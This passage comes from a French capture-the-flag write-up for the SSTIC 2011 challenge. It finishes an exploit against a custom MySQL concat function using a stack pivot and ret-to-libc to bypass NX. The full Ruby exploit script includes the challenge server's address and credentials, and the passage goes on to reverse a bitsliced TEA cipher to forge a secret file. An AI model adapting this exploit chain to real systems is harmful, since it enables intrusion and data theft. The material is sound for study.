concat=res.fetch_row.first.to_i
```

metasm nous permet de vérifier que le code que l'on souhaite exécuter est bien le bon. Mais, comme l'on pouvait s'en douter, l'exécution ne fonctionne pas, NX est très probablement utilisé. On peut vérifier que l'on contrôle bien *eip* en choisissant d'exécuter une partie du binaire qui n'a aucune action... tout se passe bien, c'est donc NX qui est responsable du plantage.

5.9.2 Que faire ?

Le présence du bit NX nous empêche donc l'exécution directe, ce qui signifie qu'il va absolument falloir effectuer soit du *ROP (return oriented programming)* ou du *ret to libc* chaîné.

5.9.3 Échecs

Après avoir rapidement cherché des gadgets à la main et n'ayant rien trouvé, j'ai passé *beaucoup* de temps à chercher des solutions alternatives. On pourra par exemple citer :

- *longjmp*, qui utilise désormais un *xor* pour obfusquer *eip* et *esp* dans le *jmp_buf*. Ce qui n'est au final pas un problème car le *main* de la *libc* fait un *setjmp*, ce qui combiné au dump de celle-ci et de

la pile nous permet de retrouver la valeur secrète et d'encoder un *jmp_buf* valide... pour finalement se rendre compte que *longjmp* vérifie que la pile que l'on souhaite restaurée est bien initialisée... échec ;
- on peut également tenter de faire échouer *realloc* dans *concat* pour tenter une réécriture de données. Mais l'utilisation de *result* par la suite fait planter le serveur... échec ;
- certains bouts de code dans le binaire pourraient être réutilisés mais à chaque fois des conditions font planter le serveur ... échec.

Tout ça pour au final se rendre compte que j'avais oublié l'un des gadgets essentiels : `xchg eax, esp`. Évidemment, celui-ci est présent dans le binaire, suivi d'un `ret`... Exactement ce qu'il nous fallait, en effet le code de concat est : `mov eax, w; call expand`. Remplacer *expand* par l'adresse du `xchg` nous donne le contrôle de la pile, on peut désormais faire du *ret to libc*.

5.9.4 Et ces *fd* ?

Le dump de la pile précédemment réalisé nous permet de retrouver le *fd* de la socket : il est égal à 0. Ce qui est confirmé par l'analyse du code. Le *fd* de *secret1.dat* est 3.

5.10 Finalisation de l'exploit

Ayant toutes les cartes en main, il est possible de réaliser l'exploit final :

Code de l'exploit

```
require "mysql"
require "metasm"
require "pp"
require "helpers"

def exec(addr, arg)
        space = spray(0x41414141)
        valid_data = dump_data(space, 24).unpack('V*')
        pp valid_data.map {|p| p.to_s(16)}
        valid_data[3] = addr
        pp valid_data.map {|p| p.to_s(16)}

        fake_v = insert(valid_data.pack('V*'))
        data = dump_data(fake_v, 24).unpack('V*').map {|p| p.to_s(16)}
        pp data
        puts Metasm::Shellcode.load(dump_data(data[3].to_i(16),16),Metasm::Ia32.new).disassemble

        puts "select concat(#{fake_v}, #{arg})"
        res = $my.query("select concat(#{fake_v}, #{arg})");
        concat=res.fetch_row.first
        pp concat
end

$my = Mysql::new('88.191.139.176', "sstic2011", "ojF.iJS6p'rLRtPJ", "sstic")
EXIT = 0x08048EB8
READ = 0x08048C48
WRITE = 0x08048BD8
ESPLIFT=0x804c515
XCHGRET = 0x0804accf
addr= 0x08050000
# fake frame
frame = insert([READ, ESPLIFT, 3, addr, 32, WRITE, EXIT, 0, addr, 32, 0, 0].pack('V*'))
exec(XCHGRET, frame)
```

Un *wireshark* en parallèle nous donne *secret1.dat* :

Contenu de secret1.dat
```
**THIS*K3Y*SHOULD*REMAIN*SECRET*
```

6 Une petite tranche de thé ?

Maintenant que *secret1.dat* a été récupéré, il ne reste plus qu'à trouver le contenu de *secret2.dat*. Comme vu précémment, il s'agit d'inverser la fonction *decrypt*, qui prend en entrée les données issues de *secret2*, un tableau de 2048 octets appelé *encryption_keys* et le nombre 32.

Comprendre ce que fait cette fonction n'est pas évident *a priori* et le nombre d'instructions rendrait fastidieuse une analyse séquentielle détaillée.

J'ai donc préféré une approche "boîte noire", aidé de quelques indices :

Quelques instructions remarquables
```
.text:00007CBD                  imul    edi, [esp+147Ch+arg_c], 9E3779B9h
[...]
.text:00008F05                  dec     [esp+147Ch+arg_c]
.text:00008F0C                  jz      short loc_8F20
.text:00008F0E                  add     [esp+147Ch+var_1450], 61C88647h
```

La multiplication par la constante `9E3779B9h` de la variable `arg_c`, combinée à la décrémentation de cette même variable en toute fin de fonction, fait rapidement penser à *TEA, Tiny Encryption Algorithm*. Impression confortée par la présence du `add 61C88647h`, qui correspond au delta.

Voici la fonction *decrypt* de TEA, implémentation de la page Wikipedia :

fonction decrypt de TEA en C
```
void decrypt (uint32_t* v, uint32_t* k) {
    uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i;  /* set up */
    uint32_t delta=0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];   /* cache key */
    for (i=0; i<32; i++) {                         /* basic cycle start */
        v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
        v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
        sum -= delta;
    }                                              /* end cycle */
    v[0]=v0; v[1]=v1;
}
```

Après, reste à faire la différence entre *TEA*, *XTEA* et *XXTEA*, qui sont suffisament proches pour pouvoir être confondus ici (ou même vérifier que l'on ne s'est pas planté complètement).

Il ne semble également ne pas y avoir de décalages, contrairement à *TEA*, ce qui est étrange. De plus, l'algorithme fonctionne sur des blocs de 64 bits, une implémentation directe en 128 bits est donc peu probable.

L'intuition fait penser à une implémentation *bitslicée*[6].

Pour vérifier ça, le plus simple est d'utiliser *gdb*, pour générer des vecteurs de test, qui vont permettre de valider les hypothèses précédentes.

Le premier test est de mettre à la fois les clefs et les données à 0, pour comparer les résultats avec une implémentation de référence.

6. Pour plus d'informations sur le bitslicing de TEA : http://plaintext.crypto.lo.gy/article/378/untwisted-bit-sliced-tea-time

Session gdb

```
(gdb) break decrypt
Function "decrypt" not defined.
Make breakpoint pending on future shared library load? (y or [n]) y
Breakpoint 1 (decrypt) pending.
(gdb) run -I "dummy" --plugin-path . sstic.mp4
Breakpoint 1, 0xb77a39b0 in decrypt () from ./libmp4_plugin.so
(gdb) x/4x $esp
0xb78fccec:     0xb7826044      0xb78fd500      0xb78fcd00      0x00000020
(gdb) x/4x 0xb78fcd00
0xb78fcd00:     0x633c58b1      0xe4e15ef2      0xde4ffc4f      0x91d1e30e
(gdb) call memset(0xb78fcd00, 0, 2048)
$1 = -1215312640
(gdb) call memset(0xb78fd500, 0, 1024)
$2 = -1215310592
(gdb) finish
Run till exit from #0  0xb78249b1 in decrypt () from ./libmp4_plugin.so
0xb7826044 in sstic_check_secret2 () from ./libmp4_plugin.so
(gdb) x/3i $eip
=> 0xb7826044 <sstic_check_secret2+276>:        mov    -0x14(%ebx),%edi
   0xb782604a <sstic_check_secret2+282>:        mov    $0x400,%ecx
   0xb782604f <sstic_check_secret2+287>:        repz cmpsb %es:(%edi),%ds:(%esi)
(gdb) stepi
0xb782604a in sstic_check_secret2 () from ./libmp4_plugin.so
(gdb) x/128x $esi
0xb78fd500:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd510:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd520:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd530:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd540:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd550:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd560:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd570:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd580:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd590:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd5a0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd5b0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd5c0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd5d0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd5e0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd5f0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd600:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd610:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd620:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd630:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd640:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd650:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd660:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd670:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd680:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd690:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd6a0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd6b0:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd6c0:     0xffffffff      0xffffffff      0xffffffff      0xffffffff
0xb78fd6d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd6e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xb78fd6f0:     0x00000000      0x00000000      0x00000000      0x00000000
```

Les résultats semblent concorder avec une implémentation *bitslicée*, où 128 blocs de 64 bits seraient dechiffrés en parallèle.

Cependant, le résultat est difficilement lisible, étant donné que chaque ligne dans gdb correspond à un bit de donnée déchiffrée.

Le moyen le plus rapide est de recopier à la main les bits dans *wcalc* pour calculer les 32 bits du premier bloc. Chaque ligne de `0xffffffff` correspond à un `1` et les `0x00000000` à `0`.

L'ordre de répartition des bits n'étant pas connu, il va falloir tester les deux boutismes en espérant obtenir `0x1423ff6d` ou `0x9216ef3a` (TEA).

Conversion dans *wcalc*

```
$ wcalc
Enter an expression to evaluate, q to quit, or ? for help:
-> \x
Hexadecimal Formatted Output
 = 0
-> 0b10110110111111111100010000101000
 = 0xb6ffc428
-> 0b00010100001000111111111101101101
 = 0x1423ff6d
```

On retrouve bien une des constantes de test ! Les données sont donc représentées de cette manière : (attention, ASCII art !)

Représentation des blocs

```
 <----- 4 dwords de 32 bits (128 bits) ----->
^ B
| |
| 3
| 2
| |
| A
| D
| |
| 3
| 2
| |
- C
```

Les 128 blocs de 64 bits sont transposés : le premier bloc correspond à la première colonne, où les 32 premiers bits sont disposés de A à B (bit de poids fort en A) et les 32 derniers de C à D (bit de poids fort en C).

Il est donc relativement simple de retransposer les données de manière à utiliser une implémentation de standard de TEA. Cette implémentation est parfaitement naïve et sous optimale mais traduit directement en code le concept.

Implémentation naïve du *deslicing*

```
int unpack(uint32_t *to, unsigned char *from)
{
        uint32_t un, deux;
        int i,j;

        for(j=0; j<128; j++) {
                un = deux = 0;
                for (i=31;i>=0;i--) {
                        un <<= 1;
                        un  |= (from[i*16+j/8]>>(7-(j&7)))&1;
                }
```

```
                for (i=63;i>=32;i--) {
                        deux <<= 1;
                        deux  |= (from[i*16+j/8]>>(7-(j&7)))&1;
                }
                to[j*2] = un;
                to[j*2+1] = deux;
        }
}
```

Ensuite, on suppose que les clefs sont stockées de la même façon, mais cette fois il s'agit de 128 clefs de 128 bits. L'implémentation, toujours aussi naïve :

Deslicing des clefs

```
int unpack_key(uint32_t *to, unsigned char *from)
{
        uint32_t un, deux, trois, quatre;
        int i,j;

        for(j=0; j<128; j++) {
                un = deux = trois = quatre = 0;
                for (i=31;i>=0;i--) {
                        un <<= 1;
                        un  |= (from[i*16+j/8]>>(7-(j&7)))&1;
                }
                for (i=63;i>=32;i--) {
                        deux <<= 1;
                        deux  |= (from[i*16+j/8]>>(7-(j&7)))&1;
                }
                for (i=95;i>=64;i--) {
                        trois <<= 1;
                        trois  |= (from[i*16+j/8]>>(7-(j&7)))&1;
                }
                for (i=127;i>=96;i--) {
                        quatre <<= 1;
                        quatre |= (from[i*16+j/8]>>(7-(j&7)))&1;
                }
                to[j*4] = un;
                to[j*4+1] = deux;
                to[j*4+2] = trois;
                to[j*4+3] = quatre;
        }

}
```

gdb nous permet de valider tout ça en comparant les résultats (une fois *unpackés*) du déchiffrement de zéros avec les clefs réelles. Ceci étant fait, il ne reste plus qu'à extraire *expected_plaintext* et à inverser la fonction *unpack* :

Fonction de *slicing*

```
int pack(unsigned char *to, uint32_t *from)
{
        uint32_t un, deux;
        int i,j;

        memset(to, 0, 1024);
        un = deux = 0;
        for(j=0; j<128; j++) {
                un = from[j*2];
                deux = from[j*2+1];
```

```
                for (i=0;i<32;i++) {
                        to[i*16+j/8]|= (un&1)<<(7-(j&7)) ;
                        un >>= 1;
                }
                for (i=32;i<64;i++) {
                        to[i*16+j/8]|= (deux&1)<<(7-(j&7)) ;
                        deux >>= 1;
                }
        }

}
```

On a donc :
- la fonction permettant de passer de la représentation pour l'implémentation *bitslice* à la représentation normale et son inverse ;
- la confirmation qu'il s'agit bien de TEA ;
- les données cibles après déchiffrement ;
- les clefs.

Il ne reste qu'on qu'à remettre ça dans le bon ordre :

Création du fichier *secret2.dat*

```
int main(long argc, char *argv[])
{

        int i;
        uint32_t u_keys[512];
        unsigned char secret_data[1024];
        uint32_t data[256];
        FILE *secret;

        unpack_key(u_keys, (unsigned char *) packed_keys);
        unpack(data, (unsigned char *)expected_plaintext);
        for(i=0;i<128; i++) {
                encrypt(data+i*2,u_keys+i*4);
        }
        pack(secret_data, data);
           secret = fopen(argv[1],"wb+");
        fwrite(secret_data, 1, sizeof(secret_data), secret);
        fclose(secret);

        return 0;
}
```

7 Où il est question de chats et de laser

Une fois les deux fichiers correctement positionnés, il est possible de lancer vlc pour regarder la vidéo : `vlc -plugin-path . sstic.mp4` et obtenir la figure 2. On y découvre (après quelques secondes à attendre une *keyframe*), outre l'adresse mail tant recherchée, la vidéo d'un chat suivant un laser dans un tas de gobelets.

8 Conclusion

Au final, ce challenge était très intéressant car il permettait de se pencher sur des points que je n'avais pas forcément pu aborder ou alors pas dans le détail : le format MP4 et ses particularités, l'exploitation

FIGURE 2 – Capture d'une image de la vidéo

de vulnérabilités dans un environnement Linux récent (avec NX, libc récente et ASLR) et enfin une implémentation bitslicée d'un algorithme de chiffrement. En grand merci donc à Gabriel et Jean-Baptiste !